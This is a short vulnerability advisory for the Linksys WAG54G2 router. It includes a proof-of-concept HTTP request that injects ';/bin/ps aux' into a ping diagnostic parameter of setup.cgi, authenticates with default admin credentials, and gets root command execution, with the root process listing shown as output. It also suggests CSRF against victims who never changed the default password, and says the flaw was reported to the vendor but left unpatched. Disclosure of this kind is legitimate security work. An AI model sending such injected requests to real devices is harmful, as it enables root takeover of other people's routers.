1. Linksys WAG54G2 router is a popular SOHO class device. It provides ADSL / WiFi / Ethernet interfaces.

2. When logged into web management console, it is possible to execute commands as root (tested on firmware: V1.00.10).

3. PoC:

GET /setup.cgi?ping_ipaddr1=1&ping_ipaddr2=1&ping_ipaddr3=1&ping_ipaddr4=1&ping_size=60&ping_number=1&ping_interval=1000&ping_timeout=5000&start=Start+Test&todo=ping_test&this_file=Diagnostics.htm&next_file=Diagnostics.htm&c4_ping_ipaddr=1.1.1.1;/bin/ps aux&message= HTTP/1.1
Host: 192.168.1.1
Authorization: Basic YWRtaW46YWRtaW4=

HTTP/1.0 200 OK
sh: cannot create 1: Unknown error 30
killall: pingmultilang: no process killed
killall: 2: no process killed
  PID  Uid     VmSize Stat Command
    1 root        284 S   init       
    2 root            SWN [ksoftirqd/0]
    3 root            SW< [events/0]
    4 root            SW< [khelper]
    5 root            SW< [kthread]
...

4. Note that it is needed to supply valid user/password (Authorization HTTP header).

5. One could try to exploit this issue remotely (using CRSF) assuming that a victim did not change default password to the web management.

6. The vendor (Cisco) was contacted in march '09 and confirmed the issue (but still it remains unpatched).

7. More detailed information: http://www.securitum.pl/dh/Linksys_WAG54G2_-_escape_to_OS_root